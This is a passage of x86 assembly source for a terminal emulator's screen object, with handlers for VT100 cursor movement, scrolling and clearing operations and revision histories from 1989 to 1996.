CT 4/ 4/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenLF method dynamic ScreenClass,
MSG_SCR_LF
CCT < GetResourceSegmentNS dgroup, es >
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState]
call EraseCursor
call DoCursorDown
;
; If linefeed/newline mode, append a newline
;
test ds:[si][SI_modeFlags], mask SVTMF_LF_NEWLINE
jz afterNewline
clr ds:[si][SI_curChar]
CUR < clr ds:[si][SI_curPos] >
afterNewline:
call DrawCursor
if _CAPTURE_CLEAN_TEXT ;------------------------------------------
DBCS < mov ax, CHAR_LF >
SBCS < mov al, CHAR_LF >
GOTO CaptureCR
else ; _CAPTURE_CLEAN_TEXT -------------------------------------------
ret
endif
ScreenLF endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenNextLine
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Moves cursor down (scrolling if necessary), and
puts cursor on first position.
CALLED BY: MSG_SCR_NEXT_LINE
PASS: *ds:si = ScreenClass object
ds:di = ScreenClass instance data
ds:bx = ScreenClass object (same as *ds:si)
es = segment of ScreenClass
ax = message #
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CT 2/22/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenNextLine method dynamic ScreenClass,
MSG_SCR_NEXT_LINE
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState]
call EraseCursor
clr ds:[si][SI_curChar] ; Beginning of line
call DoCursorDown ; next line
call DrawCursor
ret
ScreenNextLine endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenScrollTextDown
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle a scroll down character
CALLED BY: MSG_SCR_SCROLL_DOWN
PASS: ds:*si - screen instance data
es - dgroup
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
Should combine this routine and CheckForScroll routines
to make a common srollNLines routine.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 10/04/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenScrollTextDown method ScreenClass, MSG_SCR_SCROLL_DOWN
call ScreenInsLine
ret
ScreenScrollTextDown endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenScrollTextUp
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle a scroll up character
CALLED BY: MSG_SCR_SCROLL_UP
PASS: ds:*si - screen instance data
es - dgroup
[SI_screenBuf] - unlocked segment
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 11/02/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenScrollTextUp method ScreenClass, MSG_SCR_SCROLL_UP
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState] ;get GState
push di ; save it
call EraseCursor
mov bx, ds:[si][SI_screenHandle]
call MemLock
mov ds:[si][SI_screenBuf], ax
call BufScrollUp ;scroll screen buf up
call BufClearLine ;clear out buffer line
call WinScrollUp ;scroll screen image up
mov bx, ds:[si][SI_screenHandle]
call MemUnlock
EC < call NullScreenBuf ; stuff bogus segment >
pop di ; retrieve gState
call DrawCursor ; show cursor
ret
ScreenScrollTextUp endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenCursorUpOrScroll
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Move cursor up 1 row. If already at top of scroll
region, scroll region down. If cursor is above
the scroll region will not scroll (VT100 behavior)
CALLED BY: MSG_SCR_CURSOR_UP_OR_SCROLL
PASS: *ds:si = ScreenClass object
ds:di = ScreenClass instance data
ds:bx = ScreenClass object (same as *ds:si)
es = segment of ScreenClass
ax = message #
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CT 2/21/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenCursorUpOrScroll method dynamic ScreenClass,
MSG_SCR_CURSOR_UP_OR_SCROLL
;
; Cursor on top line of scroll region?
;
mov ax, ds:[di].SI_curLine
cmp ax, ds:[di].SI_scrollRegTop
je scroll
;
; NO: just move up
GOTO ScreenCursorUp
scroll:
;
; YES: scroll region down (by inserting blank line on top)
;
call ScreenInsLine
ret
ScreenCursorUpOrScroll endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenCursorDown
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Move cursor down 1 row, with no scrolling when it gets
to the bootom of the screen or scorll area
CALLED BY: MSG_SCR_CURSOR_DOWN
PASS: *ds:si = ScreenClass object
ds:di = ScreenClass instance data
ds:bx = ScreenClass object (same as *ds:si)
es = segment of ScreenClass
ax = message #
ch = # lines to move down (if DOWN_N)
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Currently only implements the VT100 behavior of the
cursor-down commands. You may have to modify this if
your terminal does something different.
REVISION HISTORY:
Name Date Description
---- ---- -----------
CT 2/21/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenCursorDown method dynamic ScreenClass,
MSG_SCR_CURSOR_DOWN, MSG_SCR_CURSOR_DOWN_N
cmp ax, MSG_SCR_CURSOR_DOWN
jne haveN
mov ch, 1 ; N = 1 for CURSOR_DOWN
haveN:
clr cl
xchg cl, ch ; cx = N
tst cx
jnz doIt
inc cx ; an argument of 0 still moves
; the cursor
doIt:
mov si, ds:[si]
add cx, ds:[si][SI_curLine] ; cx = desired destination
;
; If original position is outside the scroll area, then downward
; movement isn't constrained by it.
;
mov ax, ds:[si][SI_curLine]
cmp ax, ds:[si][SI_scrollRegBot]
ja checkScreen
;
; Constrain to scroll area
;
cmp cx, ds:[si][SI_scrollRegBot]
jbe checkScreen
mov cx, ds:[si][SI_scrollRegBot]
checkScreen:
;
; Constrain to physical screen
;
cmp cx, MAX_LINES
jb newPos
mov cx, MAX_LINES-1
newPos:
GOTO CursorUpDownCommon
ScreenCursorDown endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenCursorUp
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Move cursor up 1 row, with no scrolling when it gets
to the bootom of the screen or scorll area
CALLED BY: MSG_SCR_CURSOR_UP
PASS: *ds:si = ScreenClass object
ds:di = ScreenClass instance data
ds:bx = ScreenClass object (same as *ds:si)
es = segment of ScreenClass
ax = message #
ch = # lines to move up (if UP_N)
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Currently only implements the VT100 behavior of the
cursor-up commands. You may have to modify this if
your terminal does something different.
REVISION HISTORY:
Name Date Description
---- ---- -----------
CT 2/21/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenCursorUp method ScreenClass,
MSG_SCR_CURSOR_UP, MSG_SCR_CURSOR_UP_N
cmp ax, MSG_SCR_CURSOR_UP
jne haveN
mov ch, 1 ; N = 1 for CURSOR_UP
haveN:
clr cl
xchg cl, ch ; cx = N
tst cx
jnz doIt
inc cx ; an argument of 0 still moves
; the cursor
doIt:
mov si, ds:[si]
sub cx, ds:[si][SI_curLine]
neg cx ; cx = desired destination
;
; Constrain to screen
;
jns constrainScroll ; If < 0,
clr cx ; make 0
constrainScroll:
;
; If original position is outside the scroll area, then upward
; movement isn't constrained by it.
;
mov ax, ds:[si][SI_curLine]
cmp ax, ds:[si][SI_scrollRegTop]
jb newPos
;
; Constrain to scroll area
;
cmp cx, ds:[si][SI_scrollRegTop]
jae newPos
mov cx, ds:[si][SI_scrollRegTop]
newPos:
FALL_THRU CursorUpDownCommon
ScreenCursorUp endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CursorUpDownCommon
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Completes cursor positioning for UP/DOWN commands
CALLED BY: (INTERNAL) ScreenCursorUp, ScreenCursorDown
PASS: ds:si = ScreenClass instance data
cx = new value for SI_curLine
RETURN: nothing
DESTROYED: di
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CT 2/22/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CursorUpDownCommon proc far
class ScreenClass
;
; If the cursor is in the phantom 81'st column,
; an up/down ALWAYS puts it back in the 80th (even if
; the cursor didn't actually move up or down)
;
cmp ds:[si][SI_curChar], MAX_LINE_CHARS
jb doDraw
EC < ERROR_A TERM_ERROR_INVALID_CURSOR_POSITION >
mov ds:[si][SI_curChar], MAX_LINE_CHARS-1
doDraw:
;
; Optimization: If cursor didn't physically move, don't bother
; drawing it.
;
cmp cx, ds:[si][SI_curLine]
je exit
mov di, ds:[si][SI_gState]
push cx
call EraseCursor
pop cx
mov ds:[si][SI_curLine], cx
call DrawCursor
exit:
ret
CursorUpDownCommon endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenClearHomeCursor
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle a clear screen and home cursor terminal sequence
CALLED BY: MSG_SCR_CLEAR_HOME_CURSOR
PASS: ds:*si - screen instance data
es - dgroup
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
We want to clear the screen and home the cursor,
already have method handlers to do this so just call them
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 10/04/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenClearHomeCursor method ScreenClass, MSG_SCR_CLEAR_HOME_CURSOR
push si ;save ptr to instance data
call ScreenHomeCursor
pop si ;restore ptr
call ScreenClearToEndDisplay ; and call method handler
ret
ScreenClearHomeCursor endm
if _CLEAR_SCR_BUF
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenClearScreenAndScrollBuf
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Clear screen and scroll buffer
CALLED BY: MSG_SCR_CLEAR_SCREEN_AND_SCROLL_BUF
PASS: *ds:si = ScreenClass object
ds:di = ScreenClass instance data
es = segment of ScreenClass
ax = message #
RETURN: carry set if not enough memory
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Clear screen;
Clear scroll buffer;
Set view to the top;
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 10/13/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenClearScreenAndScrollBuf method dynamic ScreenClass,
MSG_SCR_CLEAR_SCREEN_AND_SCROLL_BUF
.enter
call ScreenClearHomeCursor ; clear screen
call ScreenClearScreenAndScrollBufResetParams
;
; Clear scroll buffer
;
call ScreenClearScrollBuf ; carry set if can't realloc
; scroll buffer
pushf
call ResetView ; set view to top of doc
popf
.leave
ret
ScreenClearScreenAndScrollBuf endm
endif ; _CLEAR_SCR_BUF
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenCursorUpUnconstrained
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Moves cursor up <n> lines in the same column, without
regard for the scroll area.
CALLED BY: MSG_SCR_CURSOR_UP_UNCONSTRAINED
PASS: ds:*si - screen instance data
es - dgroup
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 10/04/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenCursorUpUnconstrained method ScreenClass, MSG_SCR_CURSOR_UP_UNCONSTRAINED
mov si, ds:[si] ;deref to instance data
tst ds:[si][SI_curLine] ;if cursor at top of screen
je exit ; bug out
mov di, ds:[si][SI_gState] ;get GState
call EraseCursor
if (HALF_AND_FULL_WIDTH and not CURSOR)
call CalcCursorPos ;ax = X pos, bx = Y pos
dec ds:[si].SI_curLine ;move cursor up one line
mov cx, ax
mov dx, bx
sub dx, ds:[si].SI_lineHeight
call ConvertToTextCoords ;cx = column, dx = line
EC < mov ax, ds:[si].SI_curLine >
EC < add ax, ds:[si].SI_winTopLine >
EC < cmp ax, dx >
EC < ERROR_NE -1 >
mov ds:[si].SI_curChar, cx ;store new column
else
dec ds:[si][SI_curLine] ;move cursor up one line
endif
CUR < call GetCurCharFromCurPos >
call DrawCursor
exit:
ret
ScreenCursorUpUnconstrained endm
ScreenCursorUpNUnconstrained method ScreenClass, MSG_SCR_CURSOR_UP_N_UNCONSTRAINED
clr cl
xchg cl, ch ; cx = N
jcxz exit
mov si, bx
tst ds:[si].SI_curLine
jz exit
mov di, ds:[si].SI_gState
push cx ; save N
call EraseCursor
pop cx ; restore N
if (HALF_AND_FULL_WIDTH and not CURSOR)
call CalcCursorPos ;ax = X pos, bx = Y pos
sub ds:[si].SI_curLine, cx
jge onScreen
clr ds:[si].SI_curLine ; else, force to 0
onScreen:
mov dx, cx ;dx = N
mov cx, ds:[si].SI_lineHeight
xchg cx, ax ;ax = line height, cx = X pos
xchg dx, bx ;dx = Y pos, bx = N
mul bl ;ax = height of N lines
sub dx, ax
call ConvertToTextCoords ;cx = column, dx = line
EC < mov ax, ds:[si].SI_curLine >
EC < add ax, ds:[si].SI_winTopLine >
EC < cmp ax, dx >
EC < ERROR_NE -1 >
mov ds:[si].SI_curChar, cx ;store new column
else
sub ds:[si].SI_curLine, cx
jge onScreen
clr ds:[si].SI_curLine ; else, force to 0
onScreen:
endif
CUR < call GetCurCharFromCurPos >
call DrawCursor
exit:
ret
ScreenCursorUpNUnconstrained endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenCursorRight
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle a cursor right terminal sequence
CALLED BY: MSG_SCR_CURSOR_RIGHT
PASS: ds:*si - screen instance data
es - dgroup
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
If cursor already at end of line can't advance it any more.
If in phantom 81'st column, bring it back to the 80th
(VT100 behavior)
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 10/04/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenCursorRight method ScreenClass, MSG_SCR_CURSOR_RIGHT
mov si, ds:[si] ;deref to instance data
NCUR < cmp ds:[si][SI_curChar], MAX_LINE_CHARS-1 >
CUR < cmp ds:[si][SI_curPos], MAX_LINE_CHARS-1 >
je exit
jl moveIt
NCUR < mov ds:[si][SI_curChar], MAX_LINE_CHARS-2 >
CUR < mov ds:[si][SI_curPos], MAX_LINE_CHARS-2 >
moveIt:
mov di, ds:[si][SI_gState] ;get GState
call EraseCursor
NCUR < inc ds:[si][SI_curChar] >
CUR < inc ds:[si][SI_curPos] >
CUR < call GetCurCharFromCurPos >
call DrawCursor
exit:
ret
ScreenCursorRight endm
ScreenCursorRightN method ScreenClass, MSG_SCR_CURSOR_RIGHT_N
clr cl
xchg cl, ch ; cx = N
tst cx
jnz doIt
inc cx ; move even when arg=0
doIt:
mov si, bx
NCUR < cmp ds:[si].SI_curChar, MAX_LINE_CHARS-1 ; valid? >
CUR < cmp ds:[si].SI_curPos, MAX_LINE_CHARS-1 >
je exit
mov di, ds:[si].SI_gState
push cx ; save N
call EraseCursor
pop cx ; restore N
NCUR < add ds:[si].SI_curChar, cx >
NCUR < cmp ds:[si].SI_curChar, MAX_LINE_CHARS ; valid? >
CUR < add ds:[si].SI_curPos, cx >
CUR < cmp ds:[si].SI_curPos, MAX_LINE_CHARS >
jl onScreen ; yes
NCUR < mov ds:[si].SI_curChar, MAX_LINE_CHARS-1 ; force on screen>
CUR < mov ds:[si].SI_curPos, MAX_LINE_CHARS-1 >
CUR < call GetCurCharFromCurPos >
onScreen:
call DrawCursor
exit:
ret
ScreenCursorRightN endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenHomeCursor
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle a home cursor terminal sequence
CALLED BY: MSG_SCR_HOME_CURSOR
PASS: ds:*si - screen instance data
RETURN: nothing
DESTROYED: ax, bp, es
PSEUDO CODE/STRATEGY:
Delete the diplayed lines from scroll buffer
Adjust cursor position
KNOWN BUGS/SIDE EFFECTS/IDEAS:
Should be modified to clear tabstops
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 10/13/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenHomeCursor method ScreenClass, MSG_SCR_HOME_CURSOR
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState] ;get GState
call EraseCursor
clr cx
mov ds:[si][SI_curChar], cx
CUR < mov ds:[si][SI_curPos], cx >
mov ds:[si][SI_curLine], cx
call DrawCursor
ret
ScreenHomeCursor endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenClearToEndDisplay
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Clear screen from cursor to end of display
CALLED BY: MSG_SCR_CLEAR_TO_END_DISP
PASS: ds:*si - screen instance data
es - dgroup
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 10/04/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenClearToEndDisplay method ScreenClass, MSG_SCR_CLEAR_TO_END_DISP
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState] ;get GState
push di ; save it
call EraseCursor ;flag cursor nuked
call WinClearToEnd ;clear the screen display
mov bx, ds:[si][SI_screenHandle] ;lock screen buffer
call MemLock
mov ds:[si][SI_screenBuf], ax
call BufClearToEndLine ; clear rest of current line
mov bx, ds:[si][SI_screenHandle] ;unlock stinking block
call MemUnlock
EC < call NullScreenBuf ; stuff bogus segment >
inc ds:[si][SI_curLine]
call BufClear ;clear all lines below
dec ds:[si][SI_curLine]
pop di ; retrieve gState
call DrawCursor ; show cursor
ret
ScreenClearToEndDisplay endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenClearToEndLine
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Clear screen from cursor to end of current line
CALLED BY: MSG_SCR_CLEAR_TO_END_LINE
PASS: ds:*si - screen instance data
es - dgroup
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
To clear the line we blank out the rest of the line.
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 10/04/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenClearToEndLine method ScreenClass, MSG_SCR_CLEAR_TO_END_LINE
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState] ;get GState
call EraseCursor
mov bx, ds:[si][SI_screenHandle]
call MemLock
mov ds:[si][SI_screenBuf], ax
call EraseRemLine ;erase the line on the screen
call BufClearToEndLine
mov ax, MAX_LINE_CHARS ;pass #chars to draw
sub ax, ds:[si][SI_curChar]
call DrawRemLine ;draw the line of blanks
mov bx, ds:[si][SI_screenHandle]
call MemUnlock
EC < call NullScreenBuf ; stuff bogus segment >
call DrawCursor
ret
ScreenClearToEndLine endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenClearToBegLine
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Clears current line from first column to cursor (inclusive)
CALLED BY: MSG_SCR_CLEAR_TO_BEG_LINE
PASS: *ds:si = ScreenClass object
ds:di = ScreenClass instance data
ds:bx = ScreenClass object (same as *ds:si)
es = segment of ScreenClass
ax = message #
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CT 2/20/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenClearToBegLine method dynamic ScreenClass,
MSG_SCR_CLEAR_TO_BEG_LINE
.enter
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState] ;get GState
call EraseCursor
mov bx, ds:[si][SI_screenHandle]
call MemLock
mov ds:[si][SI_screenBuf], ax
call EraseBegLine ;erase the line on the screen
call BufClearToBegLine
mov bx, ds:[si][SI_screenHandle]
call MemUnlock
EC < call NullScreenBuf ; stuff bogus segment >
call DrawCursor
.leave
ret
ScreenClearToBegLine endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenClearToBegDisp
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Clears chars from upper left of disp to cursor (inclusive)
CALLED BY: MSG_SCR_CLEAR_TO_BEG_DISP
PASS: *ds:si = ScreenClass object
ds:di = ScreenClass instance data
ds:bx = ScreenClass object (same as *ds:si)
es = segment of ScreenClass
ax = message #
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CT 2/20/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenClearToBegDisp method dynamic ScreenClass,
MSG_SCR_CLEAR_TO_BEG_DISP
.enter
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState] ;get GState
push di ; save it
call EraseCursor ;flag cursor nuked
call WinClearToBeg ;clear the screen display
mov bx, ds:[si][SI_screenHandle] ;lock screen buffer
call MemLock
mov ds:[si][SI_screenBuf], ax
call BufClearToBegLine ; clear rest of current line
mov bx, ds:[si][SI_screenHandle] ;unlock stinking block
call MemUnlock
EC < call NullScreenBuf ; stuff bogus segment >
dec ds:[si][SI_curLine]
js resetLine
call BufClearUpward ;clear all lines above
resetLine:
inc ds:[si][SI_curLine]
pop di ; retrieve gState
call DrawCursor ; show cursor
.leave
ret
ScreenClearToBegDisp endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenClearLine
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Clears entire current line
CALLED BY: MSG_SCR_CLEAR_LINE
PASS: *ds:si = ScreenClass object
ds:di = ScreenClass instance data
ds:bx = ScreenClass object (same as *ds:si)
es = segment of ScreenClass
ax = message #
RETURN:
DESTROYED:
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CT 2/20/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenClearLine method dynamic ScreenClass,
MSG_SCR_CLEAR_LINE
.enter
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState] ;get GState
push di ; save it
call EraseCursor
mov bx, ds:[si][SI_screenHandle]
call MemLock
mov ds:[si][SI_screenBuf], ax
call BufClearLine ;clear cur line in buffer
call WinClearLine ; clear line in window
mov bx, ds:[si][SI_screenHandle]
call MemUnlock
EC < call NullScreenBuf ; stuff bogus segment >
pop di ; retrieve gState
call DrawCursor ; redraw cursor
.leave
ret
ScreenClearLine endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Screen(Save/Restore)Curosr
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: save cursor position, display enhancements, character set,
end-of-line wrap state, selective erase state, and
origin mode.
CALLED BY: MSG_SCR_SAVE_CURSOR, MSG_SCR_RESTORE_CURSOR
PASS: ds:*si - screen instance data
RETURN: nothing
DESTROYED: ax
PSEUDO CODE/STRATEGY:
DORKED : currently just save the character position
this is supposed to be vt220 only.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 10/31/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenSaveCursor method ScreenClass, MSG_SCR_SAVE_CURSOR
mov si, ds:[si] ;deref to instance data
mov ax, ds:[si][SI_curLine]
mov ds:[si][SI_saveCursorY], ax
NCUR < mov ax, ds:[si][SI_curChar] >
CUR < mov ax, ds:[si][SI_curPos] >
mov ds:[si][SI_saveCursorX], ax
